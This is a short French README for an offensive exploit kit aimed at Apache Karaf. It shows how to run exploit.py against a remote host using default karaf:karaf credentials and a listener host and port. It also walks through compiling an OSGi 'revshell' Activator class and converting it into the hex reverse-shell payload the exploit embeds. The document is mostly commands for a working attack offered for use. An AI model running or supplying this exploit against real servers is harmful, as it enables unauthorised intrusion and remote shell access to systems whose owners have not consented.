offsec-karaf-exploits

Utilisation :

python exploit.py --help

Exemple :

python exploit.py --rhost=192.168.0.133 --rport=1337 --lhost=192.168.0.100 --lport=4444 --creds=karaf:karaf

Reconstruire le payload

Configurer le framework Felix

1. Créez le répertoire lib

mkdir -p ./revshell/lib

2. Téléchargez Felix Framework 7.0.5
3. Extrayez l'archive zip
4. Copiez org.apache.felix.main.distribution-7.0.5/bin/felix.jar vers ./revshell/lib/felix.jar

Générer la classe Activator

cd revshell/bundle
javac -d ../classes -cp ../lib/felix.jar com/visionspace/osgi/revshell/Activator.java

Obtenir les valeurs hexadécimales

Les valeurs hexadécimales constituent le reverse shell dans l'exploit

./class_to_payload.py revshell/classes/com/visionspace/osgi/revshell/Activator.class

Ressources

Felix Framework